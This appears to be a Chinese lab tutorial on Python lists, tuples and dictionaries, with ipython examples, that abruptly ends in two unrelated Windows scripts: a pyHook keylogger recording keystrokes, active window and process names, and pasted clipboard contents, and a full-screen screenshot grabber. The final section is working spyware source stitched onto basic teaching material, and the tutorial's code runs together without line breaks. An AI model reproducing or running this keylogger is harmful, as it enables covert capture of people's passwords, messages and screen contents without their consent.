1、环境准备 输入【ipython3】进入Python的解释器中。如图1所示。
ipython3【list2 = ['a','b','c','d']】字符串列表 【list3 = ['simpleedu',123,'shiyanbar',456]】字符串与数字列表 获取list的元素值。如图3所示。
list1 = [1,2,3,4,5]list1list2 = ['a','b','c','d']list2list3 = ['simpleedu',123,'shiyanbar',456]list3【list1[0]】获取list1下标为0的元素值 【list2[1:5]】获取list2下标为1到下标为n-1的值,其中n为‘:’后的元素值,此处n为5 修改元素值。如图4所示。
list1[0]list2[1:5]修改元素值。如图4所示。 【list3[2] = 'simpleware'】修改list3下标为2的元素值 删除元素。如图5所示。
list3[2]list3[2] = 'simpleware'list3删除元素。如图5所示。 【del list1[2]】删除list1下标为2的元素值 列表的长度。如图6所示。
list1del list1[2]list1【 [1,2,3] + [4,5,6]】列表相加 【['Hi!'] * 4】列表乘 逻辑判断。如图7所示。
len([1,2,3,4,5])[1,2,3] + [4,5,6]['Hi!'] * 4【3 in [1,2,3]】逻辑判断 【for x in [1,2,3]:print(x)】迭代 列表截取。如图8所示。
3 in [1,2,3]for x in [1,2,3]:print(x)【aList[-2]】截取下标为-2的元素值 【aList[1:]】截取下标1及以后的元素值
aList = ['shiyanbar','simpleedu',123,'simpleware',456]aList[2]aList[-2]aList[1:]3、List列表内置函数 【len()】 方法返回列表元素个数。如图9所示。 【max()】 方法返回列表元素中的最大值。
list1,list2 = [123,'shiyanbar','simpleedu',456],['simpleedu',123]print(len(list1))print(len(list2))【max()】 方法返回列表元素中的最大值。 【min()】 方法返回列表元素中的最小值。如图10所示。 【list()】 方法用于将元组转换为列表。如图11所示。
list1 = ['shiyanedu','shiyanbar','u-saas','python']print(max(list1))print(min(list1))【list()】 方法用于将元组转换为列表。如图11所示。 注:元组与列表是非常类似的,区别在于元组的元素值不能修改,元组是放在括号中,列表是放于方括号中。
aTuple = (123,'simpleware','shiyanbar',456)aList = list(aTuple)print(aList)print(aTuple)【append() 】方法用于在列表末尾添加新的对象。 该方法无返回值,但是会修改原来的列表。如图12所示。 【count() 】方法用于统计某个元素在列表中出现的次数。
aList = ['shiyanbar',456,'simple',123]print(aList)aList.append('simpleedu')print(aList)【count() 】方法用于统计某个元素在列表中出现的次数。 返回元素在列表中出现的次数。如图13所示。 【extend()】 函数用于在列表末尾一次性追加另一个序列中的多个值(用新列表扩展原来的列表)。
aList = ['simpleedu','shiyanbar','shiyanbar','simpleedu','shiyanbar']print(aList.count('simpleedu'))print(aList.count('shiyanbar'))【extend()】 函数用于在列表末尾一次性追加另一个序列中的多个值(用新列表扩展原来的列表)。 该方法没有返回值,但会在已存在的列表中添加新的列表内容。如图14所示。 【index()】 函数用于从列表中找出某个值第一个匹配项的索引位置。
aList = ['shiyanbar','simpleware',123]bList = [456,'simpleedu']aList.extend(bList)print(aList)【index()】 函数用于从列表中找出某个值第一个匹配项的索引位置。 该方法返回查找对象的索引位置,如果没有找到对象则抛出异常。如图15所示。 【insert()】 函数用于将指定对象插入列表的指定位置。
aList = ['simpleedu','simpleware','shiyanbar','simpleedu','shiyanbar']print(aList.index('simpleedu'))print(aList.index('shiyanbar'))【insert()】 函数用于将指定对象插入列表的指定位置。 该方法没有返回值,但会在列表指定位置插入对象。如图16所示。 【pop() 】函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。如图17所示。
aList = ['shiyanbar','simpleware',123]aList.insert(1,'simpleedu')print(aList)图16 【pop() 】函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。如图17所示。 【remove()】 函数用于移除列表中某个值的第一个匹配项。
aList = [456,'simpleware',123,'simpleedu','shiyanbar']print(aList.pop())print(aList.pop(1))print(aList)【remove()】 函数用于移除列表中某个值的第一个匹配项。 该方法没有返回值但是会移除两种中的某个值的第一个匹配项。如图18所示。 【reverse()】 函数用于反向列表中元素。
aList = ['simpleedu','shiyanbar','shiyanbar','simpleedu','shiyanbar']aList.remove('simpleedu')print(aList)【reverse()】 函数用于反向列表中元素。 该方法没有返回值,但是会对列表的元素进行反向排序。如图19所示。 【sort()】 函数用于对原列表进行排序,如果指定参数,则使用比较函数指定的比较函数。
aList = [456,'simpleware',123,'simpleedu','shiyanbar']aList.reverse()print(aList)【sort()】 函数用于对原列表进行排序,如果指定参数,则使用比较函数指定的比较函数。 该方法没有返回值,但是会对列表的对象进行排序。如图20所示。 【clear()】函数用于清空列表,类似于 del a[:]。如图21所示。
aList = ['python','u-saas','shiyanbar','simpleedu','simpleBDT']aList.sort()print(aList)图20 【clear()】函数用于清空列表,类似于 del a[:]。如图21所示。 【copy()】函数用于复制列表,类似于 a[:]。如图22所示。
aList = ['python','u-saas','shiyanbar','simpleedu','simpleBDT']aList.clear()print(aList)图21 【copy()】函数用于复制列表,类似于 a[:]。如图22所示。
aList = ['python','u-saas','shiyanbar','simpleedu','simpleBDT']bList = aList.copy()print(bList)【tup3 = ()】空元组 【tup4 = (1,)】元组中只包含一个元素时,需要在元素后面添加逗号 获取Tuple的元素值,如图24所示。
tup1 = ('python','numpy',2018,834525)tup2 = (1,2,3,4,5)tup3 = ()tup4 = (1,)【tup1[0]】获取tup1下标为0的元素值 【tup2[1:5]】获取tup2下标为1与下标为5的元素值 元组中的元素值是不允许修改的,但可以对元组进行连接组合,如图25所示。
tup1[0]tup2[1:5]元组中的元素值是不允许修改的,但可以对元组进行连接组合,如图25所示。 【tup3 = tup1 + tup2】创建新的元组 元组中的元素值是不允许删除的,但我们可以使用del语句来删除整个元组。元组被删除后,输出变量会有异常信息。如图26所示。
tup1 = (1,2,3)tup2 = ('a','b','c')tup3 = tup1 + tup2tup3元组中的元素值是不允许删除的,但我们可以使用del语句来删除整个元组。元组被删除后,输出变量会有异常信息。如图26所示。 【del tup1】删除指定的tup1 判断元组的长度,如图27所示。
tup1 = ('python','numpy',2018,834525)tup1del tup1tup1【 (1,2,3) + (4,5,6)】元组相加 【('Hi!',) * 4】元组乘 元组数据逻辑判断,如图28所示。
len((1,2,3))(1,2,3) + (4,5,6)('Hi!',) * 4【3 in (1,2,3)】逻辑判断 【for x in (1,2,3):print(x,)】迭代 元组数据的截取,如图29所示。
3 in (1,2,3)for x in (1,2,3):print(x,)【tup[-2]】截取下标为-2的元素值 【tup[1:]】截取下标1及以后的元素值
tup = ('simpleware','shiyanbar','simpleedu')tup[2]tup[-2]tup[1:]【max()】 方法返回元组元素中的最大值。 【min()】 方法返回元组元素中的最小值。 【tuple()】 方法用于将列表转换为元组。如图31所示。
tup = ('simpleware','shiyanbar','simpleedu','simpleBDT')max(tup)min(tup)【tuple()】 方法用于将列表转换为元组。如图31所示。 注:元组与列表是非常类似的,区别在于元组的元素值不能修改,元组是放在括号中,列表是放于方括号中。
aList = ['shiyanbar',456,'simpleware',123]tuple(aList)7、 整数 输入命令“name=[‘Tom’,’jack’,’Beta’]”生成一个name列表、输入命令“name”,查看name列表中的数值、输入命令“len(name)”,查看name列表中元素个数。如图32所示
name=['Tom','jack','Beta']namelen(name)图32 输入命令“name[0]”、“name[1]”、“name[2]“、“name[3]”。列表索引从数值0开始,其中name[3]超出索引范围,报IndexError错误,最后一个元素的索引是len(name)-1。如图33所示
name[0]name[1]name[2]name[3]图33 输入命令“name[-1]”、输入命令“name[len(name)-1]”取最后一个元素,除了计算索引位置外,还可以用-1做索引,直接获取最后一个元素。如图34所示
name[-1]name[len(name)-1]图34 输入命令“name.append(‘admin’)”、输入命令“name”,查看name列表元素个数,append()方法默认在列表末尾插入元素。输入命令“name.insert(1,‘administrator’)”、输入命令“name”,查看name列表元素个数,insert()方法在指定位置插入元素。如图35所示
name.append('admin')namename.insert(1,'administrator')name图35 输入命令“name.pop()”、输入命令“name”,查看name列表元素个数,pop()方法默认弹出列表末尾元素。输入命令“name.pop(1)”、输入命令“name”,查看name列表元素个数,pop(索引)弹出指定位置元素、输入命令“name[0]=‘Bob’”、输入命令“name”,查看name列表元素个数,把指定元素替换成其它元素,直接赋值给对应的索引位置。如图36所示
name.pop()namename.pop(1)namename[0]='Bob'name图36 输入命令“M=[‘orange’,’8264’,’purple’]”、输入命令“M”,查看列表元素,列表中可以包含元素的不同数据类型。输入命令“L=[‘pink’,’[‘bears’,‘pigs’,‘penguins’]’,’blue’]”、输入命令“L”,查看列表元素,列表中可以包含列表,形成二维数组。如图37所示
M=['orange','8264','purple']ML=['pink',['bears','pigs','penguins'],'blue']L图37 输入命令“L[1][1]”输出二位数组中“pigs“元素。如图38所示
LL[1][1]8、 元组 输入命令“test=(‘chair’,‘desk’,‘window’)”创建一个包含三个元素的test元组、输入命令“test[0]”、输入命令“test[1]”、输入命令“test[2]“,查看test元组包含元素。元组创建后不能改变,append(),insert()方法。如图39所示
test=('chair','desk','window')test[0]test[1]test[2]图39 输入命令“sz=(1)”、输入命令“yz=(1,)”,在python中括号()既可以表示元组,又可以表示数学公式中的小括号,产生了歧义,默认按小括号进行计算。在只有1个元素的元组定义时,在末尾必须加一个逗号。如图40所示
sz=(1)szyz=(1,)yz图40 输入命令“x=('bell',['mouse','bath'],'bed')”、输入命令“x[1][0]='beige'”、输入命令“x[1][1]='rad’”、输入命令“x”,查看元组包含的元素。如图41所示
x=('bell',['mouse','bath'],'bed')x[1][0]='beige'x[1][1]='red'x图41 X元组初始化时,包含的3个元素,分别是字符串'bell'、字符串'bed'和一个list。如图42所示
示意图:元组内含列表的内存结构(无代码)
图42 列表中的元素'mouse'和'bath'修改为'beige'和'rad'。元组包含元素内容变了,但内容改变的为list元素。tuple指向的list没有改变。元组指向永远不变。但指向的list本身是可变的。要创建一个内容也不变的元组,必须保证元组的每一个元素本身也不能变。如图43所示
示意图:修改元素后的内存结构(无代码)
任务书原文未标注图号,这里的 图1–图20 按图片出现顺序编号。
1、环境准备 输入【ipython3】进入Python的解释器中。如下图所示。
ipython3字典是另一种可变容器模型,且可存储任意类型对象。 字典的每个键值(key=>value)对用冒号(:)分割,每个对之间用逗号(,)分割,整个字典包括在花括号({})中 。如下图所示。
dict = {'Name':'Zara','Age':7,'Class':'First'}dict访问字典里的值。把相应的键放入熟悉的方括号,如果用字典里没有的键访问数据,会输出错误。如下图所示。
dict['Name']dict['Age']dict['Alice']修改字典。向字典添加新内容的方法是增加新的键值对,修改或删除已有键值对。如下图所示。
dict = {'Name':'Zara','Age':7,'Class':'First'}dictdict['Age'] = 8dict['School'] = 'DFS School'dict删除字典元素。能删单一的元素也能清空字典,清空只需一项操作。删除一个字典用del命令。如下图所示。 【dict.clear()】清空词典所有条目
dict = {'Name':'Zara','Age':7,'Class':'First'}del dict['Name']dictdict.clear()del dictdict['Age']3、字典内置函数 【len()】函数计算字典元素个数,即键的总数。返回字典的元素个数。如下图所示。
dict = {'Name':'Zara','Age':7}len(dict)【str()】函数将值转化为适于人阅读的形式,以可打印的字符串表示。返回字符串。如下图所示。
dict = {'Name':'Zara','Age':7}str(dict)【type()】函数返回输入的变量类型,如果变量是字典就返回字典类型。如下图所示。
dict = {'Name':'Zara','Age':7}type(dict)4、字典内置方法 【clear()】函数用于删除字典内所有元素。该函数没有任何返回值。如下图所示。
dict = {'Name':'Zara','Age':7}len(dict)dict.clear()len(dict)【copy()】函数返回一个字典的浅复制。返回一个字典的浅复制。如下图所示。
dict1 = {'Name':'Zara','Age':7}dict2 = dict1.copy()str(dict2)【fromkeys()】函数用于创建一个新字典,以序列seq中元素做字典的键,value为字典所有键对应的初始值。返回列表。如下图所示。
seq = ('name','age','sex')dict = dict.fromkeys(seq)str(dict)dict = dict.fromkeys(seq,10)str(dict)【get()】函数返回指定键的值,如果key在字典中返回默认的value值。不在字典中返回指定键的值。如下图所示。
dict = {'Name':'Zara','Age':7}dict.get('Age')dict.get('Sex','Never')in 操作符用于判断键是否存在于字典中,如果键在字典dict里返回true,否则返回false。如下图所示。
dict = {'Name':'Zara','Age':7}if 'Name' in dict: print('Name exist')else: print('Name not exist')if 'School' in dict: print('school exist')else: print('school not exist')items() 函数以列表返回可遍历的(键, 值) 元组数组。如下图所示。
dict = {'Google':'www.google.com','xipu':'www.shiyanbar','taobao':'www.taobao.com'}dict.items()for key,values in dict.items(): print(key,values)【keys()】函数以列表返回一个字典所有的键。如下图所示。
dict = {'Name':'Zara','Age':7}dict.keys()【setdefault(key, default=None)】key在字典中,返回对应的值。如果不在字典中,则插入key及设置的默认值default,并返回default ,default默认值为None。如下图所示。
dict = {'Name':'Zara','Age':7}dictdict.setdefault('Age',None)dict.setdefault('School',None)dict【update()】函数把字典dict2的键值对更新到dict里。没有任何返回值。如下图所示。
dict1 = {'Name':'Zara','Age':7}dict2 = {'Sex':'female'}dict1.update(dict2)dict1【values()】函数以列表返回字典中的所有值。如下图所示。
dict = {'Name':'Zara','Age':7}dict.values()【pop()】方法删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。返回被删除的值。如下图所示。
site = {'Name':'xipu','Alexa':10000,'Url':'www.shiyanbar.com'}pop_obj = site.pop('Name')print(pop_obj)【popitem()】方法随机返回并删除字典中的一对键和值。 如果字典已经为空,却调用了此方法,就报出KeyError异常。返回一个键值对(key,value)形式。如下图所示。
site = {'Name':'xipu','Alexa':10000,'Url':'www.shiyanbar.com'}pop_obj = site.popitem()print(pop_obj)print(site)按任务书截图逐字转写,整文件一次性复制即可,无需逐行挑选。
键盘记录器:pyHook 全局钩子监听击键,ctypes 取当前窗口与进程,win32com 抓剪贴板
# -*- coding: utf-8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32com
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# 获取最上层的窗口句柄
hwnd = user32.GetForegroundWindow()
# 获取进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
# 将进程ID存入变量中
process_id = "%d" % pid.value
# 申请内存
executable = create_string_buffer("\x00"*512)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
# 读取窗口标题
windows_title = create_string_buffer("\x00"*512)
length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
# 打印
print()
print("[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value))
print()
# 关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
# 定义击键监听事件函数
def KeyStroke(event):
global current_window
# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
if event.WindowName != current_window:
current_window = event.WindowName
# 函数调用
get_current_process()
# 检测击键是否常规按键(非组合键等)
if event.Ascii > 32 and event.Ascii <127:
print(chr(event.Ascii),)
else:
# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
if event.Key == "V":
win32com.OpenClipboard()
pasted_value = win32com.GetClipboardData()
win32com.CloseClipboard()
print("[PASTE]-%s" % (pasted_value),)
else:
print("[%s]" % event.Key,)
# 循环监听下一个击键事件
return True
# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
全屏截图:win32gui/win32ui 建设备描述表,BitBlt 拷贝到内存位图后存盘
# -*- coding: utf-8 -*-
import win32gui
import win32ui
import win32con
import win32api
# 获取桌面
hdesktop = win32gui.GetDesktopWindow()
# 分辨率适应
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
# 创建一个内存设备描述表
mem_dc = img_dc.CreateCompatibleDC()
# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
# 截图至内存设备描述表
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
# 将截图保存到文件中
screenshot.SaveBitmapFile(mem_dc, 'C:\\screenshot.bmp')
# 内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())